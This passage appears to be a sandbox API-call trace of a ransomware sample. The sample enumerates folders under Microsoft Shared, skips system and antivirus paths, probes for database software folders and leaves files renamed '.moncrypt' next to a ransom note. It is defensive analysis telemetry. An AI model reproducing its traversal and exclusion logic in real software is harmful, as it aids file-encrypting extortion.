shared\\textconv\\en-us\\") returned 0x3e [0050.333] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e5a788, cbMultiByte=18, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr="\\application data\\alpmcxz\\appdata\\roaming\\eft SQL Server Compact Edition\\T?\x18㱴眵㲣眵脒睘") returned 18 [0050.333] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\TextConv\\en-US\\", cchLength=0x3e | out: lpsz="c:\\program files\\common files\\microsoft shared\\textconv\\en-us\\") returned 0x3e [0050.333] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e39128, cbMultiByte=28, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr=":\\system volume information\\pdata\\roaming\\eft SQL Server Compact Edition\\T?\x18㱴眵㲣眵脒睘") returned 28 [0050.334] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\TextConv\\en-US\\", cchLength=0x3e | out: lpsz="c:\\program files\\common files\\microsoft shared\\textconv\\en-us\\") returned 0x3e [0050.334] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e69e28, cbMultiByte=10, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr=":\\windows\\olume information\\pdata\\roaming\\eft SQL Server Compact Edition\\T?\x18㱴眵㲣眵脒睘") returned 10 [0050.334] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\TextConv\\en-US\\", cchLength=0x3e | out: lpsz="c:\\program files\\common files\\microsoft shared\\textconv\\en-us\\") returned 0x3e [0050.334] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e69e28, cbMultiByte=8, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr=":\\intel\\s\\olume information\\pdata\\roaming\\eft SQL Server Compact Edition\\T?\x18㱴眵㲣眵脒睘") returned 8 [0050.334] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\TextConv\\en-US\\", cchLength=0x3e | out: lpsz="c:\\program files\\common files\\microsoft shared\\textconv\\en-us\\") returned 0x3e [0050.334] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e69e28, cbMultiByte=9, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr=":\\nvidia\\\\olume information\\pdata\\roaming\\eft SQL Server Compact Edition\\T?\x18㱴眵㲣眵脒睘") returned 9 [0050.334] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\TextConv\\en-US\\", cchLength=0x3e | out: lpsz="c:\\program files\\common files\\microsoft shared\\textconv\\en-us\\") returned 0x3e [0050.334] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e5a788, cbMultiByte=13, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr="\\trend micro\\me information\\pdata\\roaming\\eft SQL Server Compact Edition\\T?\x18㱴眵㲣眵脒睘") returned 13 [0050.334] GlobalLock (hMem=0x44000c) returned 0x550170 [0050.334] GlobalHandle (pMem=0x550170) returned 0x44000c [0050.334] GlobalUnlock (hMem=0x44000c) returned 0 [0050.335] GlobalLock (hMem=0x44000c) returned 0x550170 [0050.335] GlobalLock (hMem=0x440004) returned 0x555b78 [0050.335] GlobalHandle (pMem=0x550170) returned 0x44000c [0050.335] GlobalUnlock (hMem=0x44000c) returned 0 [0050.335] GlobalHandle (pMem=0x555b78) returned 0x440004 [0050.335] GlobalUnlock (hMem=0x440004) returned 0 [0050.335] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\TextConv\\en-US\\*.*", lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1eab37af, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x23ecb743, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eab37af, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x54e200 [0050.335] FindNextFileW (in: hFindFile=0x54e200, lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1eab37af, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x23ecb743, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eab37af, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0050.335] FindNextFileW (in: hFindFile=0x54e200, lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1eab37af, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x23ecb743, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eab37af, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0050.335] GetLastError () returned 0x12 [0050.335] FindClose (in: hFindFile=0x54e200 | out: hFindFile=0x54e200) returned 1 [0050.335] GlobalLock (hMem=0x440004) returned 0x550170 [0050.335] GlobalHandle (pMem=0x550170) returned 0x440004 [0050.335] GlobalUnlock (hMem=0x440004) returned 0 [0050.335] GlobalLock (hMem=0x440004) returned 0x550170 [0050.335] GlobalLock (hMem=0x44000c) returned 0x555b78 [0050.335] GlobalHandle (pMem=0x550170) returned 0x440004 [0050.335] GlobalUnlock (hMem=0x440004) returned 0 [0050.335] GlobalHandle (pMem=0x555b78) returned 0x44000c [0050.335] GlobalUnlock (hMem=0x44000c) returned 0 [0050.335] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\TextConv\\en-US\\*.*", lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1eab37af, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x23ecb743, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eab37af, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x54e200 [0050.336] FileTimeToLocalFileTime (in: lpFileTime=0x18eb78, lpLocalFileTime=0x18ea88 | out: lpLocalFileTime=0x18ea88) returned 1 [0050.336] FileTimeToDosDateTime (in: lpFileTime=0x18ea88, lpFatDate=0x18eb46, lpFatTime=0x18eb44 | out: lpFatDate=0x18eb46, lpFatTime=0x18eb44) returned 1 [0050.336] GlobalLock (hMem=0x44000c) returned 0x550170 [0050.336] GlobalHandle (pMem=0x550170) returned 0x44000c [0050.336] GlobalUnlock (hMem=0x44000c) returned 0 [0050.336] GlobalLock (hMem=0x44000c) returned 0x550170 [0050.336] GlobalLock (hMem=0x440004) returned 0x555b78 [0050.336] GlobalHandle (pMem=0x550170) returned 0x44000c [0050.336] GlobalUnlock (hMem=0x44000c) returned 0 [0050.336] GlobalHandle (pMem=0x555b78) returned 0x440004 [0050.336] GlobalUnlock (hMem=0x440004) returned 0 [0050.336] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0050.336] FindNextFileW (in: hFindFile=0x54e200, lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1eab37af, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x23ecb743, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eab37af, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0050.336] FileTimeToLocalFileTime (in: lpFileTime=0x18eb78, lpLocalFileTime=0x18ea84 | out: lpLocalFileTime=0x18ea84) returned 1 [0050.336] FileTimeToDosDateTime (in: lpFileTime=0x18ea84, lpFatDate=0x18eb46, lpFatTime=0x18eb44 | out: lpFatDate=0x18eb46, lpFatTime=0x18eb44) returned 1 [0050.336] GlobalLock (hMem=0x440004) returned 0x555b78 [0050.336] GlobalHandle (pMem=0x555b78) returned 0x440004 [0050.336] GlobalUnlock (hMem=0x440004) returned 0 [0050.336] GlobalLock (hMem=0x440004) returned 0x555b78 [0050.336] GlobalLock (hMem=0x44000c) returned 0x557b88 [0050.336] GlobalHandle (pMem=0x555b78) returned 0x440004 [0050.336] GlobalUnlock (hMem=0x440004) returned 0 [0050.336] GlobalHandle (pMem=0x557b88) returned 0x44000c [0050.336] GlobalUnlock (hMem=0x44000c) returned 0 [0050.336] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0050.336] FindNextFileW (in: hFindFile=0x54e200, lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1eab37af, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x23ecb743, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eab37af, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0050.336] GetLastError () returned 0x12 [0050.337] FindClose (in: hFindFile=0x54e200 | out: hFindFile=0x54e200) returned 1 [0050.337] FindNextFileW (in: hFindFile=0x54e1c0, lpFindFileData=0x18eea4 | out: lpFindFileData=0x18eea4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3f2eaae0, ftCreationTime.dwHighDateTime=0x1d5ddc0, ftLastAccessTime.dwLowDateTime=0x3f2eaae0, ftLastAccessTime.dwHighDateTime=0x1d5ddc0, ftLastWriteTime.dwLowDateTime=0x3f310c40, ftLastWriteTime.dwHighDateTime=0x1d5ddc0, nFileSizeHigh=0x0, nFileSizeLow=0x649, dwReserved0=0x0, dwReserved1=0x0, cFileName="HOW TO RECOVER ENCRYPTED FILES.TXT", cAlternateFileName="HOWTOR~1.TXT")) returned 1 [0050.337] FileTimeToLocalFileTime (in: lpFileTime=0x18eeb8, lpLocalFileTime=0x18edc4 | out: lpLocalFileTime=0x18edc4) returned 1 [0050.337] FileTimeToDosDateTime (in: lpFileTime=0x18edc4, lpFatDate=0x18ee86, lpFatTime=0x18ee84 | out: lpFatDate=0x18ee86, lpFatTime=0x18ee84) returned 1 [0050.337] GlobalLock (hMem=0x44000c) returned 0x550170 [0050.337] GlobalHandle (pMem=0x550170) returned 0x44000c [0050.337] GlobalUnlock (hMem=0x44000c) returned 0 [0050.337] GlobalLock (hMem=0x44000c) returned 0x550170 [0050.337] GlobalLock (hMem=0x440004) returned 0x555b78 [0050.337] GlobalHandle (pMem=0x550170) returned 0x44000c [0050.337] GlobalUnlock (hMem=0x44000c) returned 0 [0050.337] GlobalHandle (pMem=0x555b78) returned 0x440004 [0050.337] GlobalUnlock (hMem=0x440004) returned 0 [0050.337] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0050.337] FindNextFileW (in: hFindFile=0x54e1c0, lpFindFileData=0x18eea4 | out: lpFindFileData=0x18eea4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3e16af00, ftCreationTime.dwHighDateTime=0x1cbae03, ftLastAccessTime.dwLowDateTime=0xcf518520, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x3e16af00, ftLastWriteTime.dwHighDateTime=0x1cbae03, nFileSizeHigh=0x0, nFileSizeLow=0x23d78, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSCONV97.DLL", cAlternateFileName="")) returned 1 [0050.337] FileTimeToLocalFileTime (in: lpFileTime=0x18eeb8, lpLocalFileTime=0x18edc4 | out: lpLocalFileTime=0x18edc4) returned 1 [0050.337] FileTimeToDosDateTime (in: lpFileTime=0x18edc4, lpFatDate=0x18ee86, lpFatTime=0x18ee84 | out: lpFatDate=0x18ee86, lpFatTime=0x18ee84) returned 1 [0050.337] GlobalLock (hMem=0x440004) returned 0x550170 [0050.337] GlobalHandle (pMem=0x550170) returned 0x440004 [0050.337] GlobalUnlock (hMem=0x440004) returned 0 [0050.337] GlobalLock (hMem=0x440004) returned 0x550170 [0050.337] GlobalLock (hMem=0x44000c) returned 0x555b78 [0050.338] GlobalHandle (pMem=0x550170) returned 0x440004 [0050.338] GlobalUnlock (hMem=0x440004) returned 0 [0050.338] GlobalHandle (pMem=0x555b78) returned 0x44000c [0050.338] GlobalUnlock (hMem=0x44000c) returned 0 [0050.338] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0050.338] FindNextFileW (in: hFindFile=0x54e1c0, lpFindFileData=0x18eea4 | out: lpFindFileData=0x18eea4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1aeaee00, ftCreationTime.dwHighDateTime=0x1ca9122, ftLastAccessTime.dwLowDateTime=0xef0320d0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x1aeaee00, ftLastWriteTime.dwHighDateTime=0x1ca9122, nFileSizeHigh=0x0, nFileSizeLow=0x902d, dwReserved0=0x0, dwReserved1=0x0, cFileName="RECOVR32.CNV.moncrypt", cAlternateFileName="RECOVR~1.MON")) returned 1 [0050.338] FileTimeToLocalFileTime (in: lpFileTime=0x18eeb8, lpLocalFileTime=0x18edc4 | out: lpLocalFileTime=0x18edc4) returned 1 [0050.338] FileTimeToDosDateTime (in: lpFileTime=0x18edc4, lpFatDate=0x18ee86, lpFatTime=0x18ee84 | out: lpFatDate=0x18ee86, lpFatTime=0x18ee84) returned 1 [0050.338] GlobalLock (hMem=0x44000c) returned 0x550170 [0050.338] GlobalHandle (pMem=0x550170) returned 0x44000c [0050.338] GlobalUnlock (hMem=0x44000c) returned 0 [0050.338] GlobalLock (hMem=0x44000c) returned 0x550170 [0050.338] GlobalLock (hMem=0x440004) returned 0x555b78 [0050.338] GlobalHandle (pMem=0x550170) returned 0x44000c [0050.338] GlobalUnlock (hMem=0x44000c) returned 0 [0050.338] GlobalHandle (pMem=0x555b78) returned 0x440004 [0050.338] GlobalUnlock (hMem=0x440004) returned 0 [0050.338] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0050.338] FindNextFileW (in: hFindFile=0x54e1c0, lpFindFileData=0x18eea4 | out: lpFindFileData=0x18eea4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2f938f00, ftCreationTime.dwHighDateTime=0x1caafc8, ftLastAccessTime.dwLowDateTime=0x7090d6b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x2f938f00, ftLastWriteTime.dwHighDateTime=0x1caafc8, nFileSizeHigh=0x0, nFileSizeLow=0xe065, dwReserved0=0x0, dwReserved1=0x0, cFileName="Wks9Pxy.cnv.moncrypt", cAlternateFileName="WKS9PX~1.MON")) returned 1 [0050.338] FileTimeToLocalFileTime (in: lpFileTime=0x18eeb8, lpLocalFileTime=0x18edc4 | out: lpLocalFileTime=0x18edc4) returned 1 [0050.338] FileTimeToDosDateTime (in: lpFileTime=0x18edc4, lpFatDate=0x18ee86, lpFatTime=0x18ee84 | out: lpFatDate=0x18ee86, lpFatTime=0x18ee84) returned 1 [0050.338] GlobalLock (hMem=0x440004) returned 0x550170 [0050.338] GlobalHandle (pMem=0x550170) returned 0x440004 [0050.338] GlobalUnlock (hMem=0x440004) returned 0 [0050.338] GlobalLock (hMem=0x440004) returned 0x550170 [0050.338] GlobalLock (hMem=0x44000c) returned 0x555b78 [0050.338] GlobalHandle (pMem=0x550170) returned 0x440004 [0050.338] GlobalUnlock (hMem=0x440004) returned 0 [0050.338] GlobalHandle (pMem=0x555b78) returned 0x44000c [0050.338] GlobalUnlock (hMem=0x44000c) returned 0 [0050.339] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0050.339] FindNextFileW (in: hFindFile=0x54e1c0, lpFindFileData=0x18eea4 | out: lpFindFileData=0x18eea4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x56ce200, ftCreationTime.dwHighDateTime=0x1cbd856, ftLastAccessTime.dwLowDateTime=0xc226ea20, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x56ce200, ftLastWriteTime.dwHighDateTime=0x1cbd856, nFileSizeHigh=0x0, nFileSizeLow=0x30235, dwReserved0=0x0, dwReserved1=0x0, cFileName="WPFT532.CNV.moncrypt", cAlternateFileName="WPFT53~1.MON")) returned 1 [0050.339] FileTimeToLocalFileTime (in: lpFileTime=0x18eeb8, lpLocalFileTime=0x18edc4 | out: lpLocalFileTime=0x18edc4) returned 1 [0050.339] FileTimeToDosDateTime (in: lpFileTime=0x18edc4, lpFatDate=0x18ee86, lpFatTime=0x18ee84 | out: lpFatDate=0x18ee86, lpFatTime=0x18ee84) returned 1 [0050.339] GlobalLock (hMem=0x44000c) returned 0x550170 [0050.339] GlobalHandle (pMem=0x550170) returned 0x44000c [0050.339] GlobalUnlock (hMem=0x44000c) returned 0 [0050.339] GlobalLock (hMem=0x44000c) returned 0x550170 [0050.339] GlobalLock (hMem=0x440004) returned 0x555b78 [0050.339] GlobalHandle (pMem=0x550170) returned 0x44000c [0050.339] GlobalUnlock (hMem=0x44000c) returned 0 [0050.339] GlobalHandle (pMem=0x555b78) returned 0x440004 [0050.339] GlobalUnlock (hMem=0x440004) returned 0 [0050.339] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0050.339] FindNextFileW (in: hFindFile=0x54e1c0, lpFindFileData=0x18eea4 | out: lpFindFileData=0x18eea4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3e16af00, ftCreationTime.dwHighDateTime=0x1cbae03, ftLastAccessTime.dwLowDateTime=0xc2294b80, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x3e16af00, ftLastWriteTime.dwHighDateTime=0x1cbae03, nFileSizeHigh=0x0, nFileSizeLow=0x46c35, dwReserved0=0x0, dwReserved1=0x0, cFileName="WPFT632.CNV.moncrypt", cAlternateFileName="WPFT63~1.MON")) returned 1 [0050.339] FileTimeToLocalFileTime (in: lpFileTime=0x18eeb8, lpLocalFileTime=0x18edc4 | out: lpLocalFileTime=0x18edc4) returned 1 [0050.339] FileTimeToDosDateTime (in: lpFileTime=0x18edc4, lpFatDate=0x18ee86, lpFatTime=0x18ee84 | out: lpFatDate=0x18ee86, lpFatTime=0x18ee84) returned 1 [0050.339] GlobalLock (hMem=0x440004) returned 0x550170 [0050.339] GlobalHandle (pMem=0x550170) returned 0x440004 [0050.339] GlobalUnlock (hMem=0x440004) returned 0 [0050.339] GlobalLock (hMem=0x440004) returned 0x550170 [0050.339] GlobalLock (hMem=0x44000c) returned 0x555b78 [0050.339] GlobalHandle (pMem=0x550170) returned 0x440004 [0050.339] GlobalUnlock (hMem=0x440004) returned 0 [0050.339] GlobalHandle (pMem=0x555b78) returned 0x44000c [0050.339] GlobalUnlock (hMem=0x44000c) returned 0 [0050.339] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0050.339] FindNextFileW (in: hFindFile=0x54e1c0, lpFindFileData=0x18eea4 | out: lpFindFileData=0x18eea4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3e16af00, ftCreationTime.dwHighDateTime=0x1cbae03, ftLastAccessTime.dwLowDateTime=0xc2294b80, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x3e16af00, ftLastWriteTime.dwHighDateTime=0x1cbae03, nFileSizeHigh=0x0, nFileSizeLow=0x46c35, dwReserved0=0x0, dwReserved1=0x0, cFileName="WPFT632.CNV.moncrypt", cAlternateFileName="WPFT63~1.MON")) returned 0 [0050.340] GetLastError () returned 0x12 [0050.340] FindClose (in: hFindFile=0x54e1c0 | out: hFindFile=0x54e1c0) returned 1 [0050.340] FindNextFileW (in: hFindFile=0x54e180, lpFindFileData=0x18f1e4 | out: lpFindFileData=0x18f1e4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x512f1610, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d462ff0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d462ff0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="THEMES14", cAlternateFileName="")) returned 1 [0050.340] FileTimeToLocalFileTime (in: lpFileTime=0x18f1f8, lpLocalFileTime=0x18f104 | out: lpLocalFileTime=0x18f104) returned 1 [0050.340] FileTimeToDosDateTime (in: lpFileTime=0x18f104, lpFatDate=0x18f1c6, lpFatTime=0x18f1c4 | out: lpFatDate=0x18f1c6, lpFatTime=0x18f1c4) returned 1 [0050.340] GlobalLock (hMem=0x44000c) returned 0x550170 [0050.340] GlobalHandle (pMem=0x550170) returned 0x44000c [0050.340] GlobalUnlock (hMem=0x44000c) returned 0 [0050.340] GlobalLock (hMem=0x44000c) returned 0x550170 [0050.340] GlobalLock (hMem=0x440004) returned 0x555b78 [0050.340] GlobalHandle (pMem=0x550170) returned 0x44000c [0050.340] GlobalUnlock (hMem=0x44000c) returned 0 [0050.340] GlobalHandle (pMem=0x555b78) returned 0x440004 [0050.340] GlobalUnlock (hMem=0x440004) returned 0 [0050.340] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0050.340] GlobalLock (hMem=0x440004) returned 0x550170 [0050.340] GlobalHandle (pMem=0x550170) returned 0x440004 [0050.340] GlobalUnlock (hMem=0x440004) returned 0 [0050.341] GlobalLock (hMem=0x440004) returned 0x550170 [0050.341] GlobalLock (hMem=0x44000c) returned 0x555b78 [0050.341] GlobalHandle (pMem=0x550170) returned 0x440004 [0050.341] GlobalUnlock (hMem=0x440004) returned 0 [0050.341] GlobalHandle (pMem=0x555b78) returned 0x44000c [0050.341] GlobalUnlock (hMem=0x44000c) returned 0 [0050.341] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0050.341] SysReAllocStringLen (in: pbstr=0x18f104*=0x0, psz="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14", len=0x37 | out: pbstr=0x18f104*="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14") returned 1 [0050.341] GlobalLock (hMem=0x44000c) returned 0x550170 [0050.341] GlobalHandle (pMem=0x550170) returned 0x44000c [0050.341] GlobalUnlock (hMem=0x44000c) returned 0 [0050.341] GlobalLock (hMem=0x44000c) returned 0x550170 [0050.341] GlobalLock (hMem=0x440004) returned 0x555b78 [0050.341] GlobalHandle (pMem=0x550170) returned 0x44000c [0050.341] GlobalUnlock (hMem=0x44000c) returned 0 [0050.341] GlobalHandle (pMem=0x555b78) returned 0x440004 [0050.341] GlobalUnlock (hMem=0x440004) returned 0 [0050.341] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\Microsoft\\Exchange Server", lpFindFileData=0x18eb80 | out: lpFindFileData=0x18eb80*(dwFileAttributes=0x7758b6c6, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x555b78, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e69e20, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x557b88, cFileName="㪀P\xfdee㰒", cAlternateFileName="䱈@冰R冄R企@\x18䀴Q\x18\x1b")) returned 0xffffffff [0050.344] GetLastError () returned 0x3 [0050.344] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\Microsoft SQL Server", lpFindFileData=0x18eb80 | out: lpFindFileData=0x18eb80*(dwFileAttributes=0x7758b6c6, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x555b78, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e69e20, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x557b88, cFileName="㪀P\xfdee㰒", cAlternateFileName="℔R䱠@儔R企@\x18㿬Q\x181")) returned 0xffffffff [0050.346] GetLastError () returned 0x2 [0050.346] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\Firebird", lpFindFileData=0x18eb80 | out: lpFindFileData=0x18eb80*(dwFileAttributes=0x7758b6c6, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x555b78, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e69e20, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x557b88, cFileName="㪀P\xfdee㰒", cAlternateFileName="℔R䱠@ꠜR企@\x18?T\x18;")) returned 0xffffffff [0050.348] GetLastError () returned 0x2 [0050.348] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\MSSQL.1", lpFindFileData=0x18eb80 | out: lpFindFileData=0x18eb80*(dwFileAttributes=0x7758b6c6, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x555b78, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e69e20, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x557b88, cFileName="㪀P\xfdee㰒", cAlternateFileName="℔R䱠@册U企@\x18?T\x18D")) returned 0xffffffff [0050.349] GetLastError () returned 0x2 [0050.349] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\Microsoft SQL Server Compact Edition", lpFindFileData=0x18eb80 | out: lpFindFileData=0x18eb80*(dwFileAttributes=0x7758b6c6, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x555b78, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e69e20, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x557b88, cFileName="㪀P\xfdee㰒", cAlternateFileName="℔R䱠@儔R企@\x18ꠜR\x18j")) returned 0xffffffff [0050.351] GetLastError () returned 0x2 [0050.351] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\Adobe", lpFindFileData=0x18eb80 | out: lpFindFileData=0x18eb80*(dwFileAttributes=0x7758b6c6, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x555b78, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e69e20, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x557b88, cFileName="㪀P\xfdee㰒", cAlternateFileName="℔R䱠@册U企@\x18?T\x18q")) returned 0xffffffff [0050.352] GetLastError () returned 0x2 [0050.352] FindFirstFileW (in: 